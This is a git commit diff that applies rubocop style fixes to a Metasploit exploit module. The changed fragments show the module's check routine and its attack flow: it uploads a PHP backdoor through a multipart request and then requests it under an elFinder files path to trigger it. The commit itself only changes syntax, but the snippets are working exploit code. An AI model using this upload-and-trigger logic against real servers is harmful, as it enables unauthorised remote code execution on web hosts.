Fixing some coding style because of rubocop
This commit is contained in:
parent
e79c3ba7c0
commit
fc56ab6722
|
@ -41,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'Arch' => ARCH_PHP,
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Targets' => [ ['Automatic', {}] ],
|
||||
'DefaultTarget' => 0,
|
||||
|
@ -60,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'method' => 'GET',
|
||||
'uri' => normalize_uri(url)
|
||||
)
|
||||
if res and res.code == 200
|
||||
if res && res.code == 200
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
|
@ -79,15 +79,15 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'data' => data.to_s
|
||||
})
|
||||
if res and res.code == 200
|
||||
if res && res.code == 200
|
||||
print_good("Backdoor successfully created.")
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Error on uploading file")
|
||||
end
|
||||
print_status("Trigging the exploit...")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "vendor_extra/elfinder/files/"+filename)
|
||||
},5)
|
||||
send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "vendor_extra/elfinder/files/" + filename)
|
||||
}, 5)
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue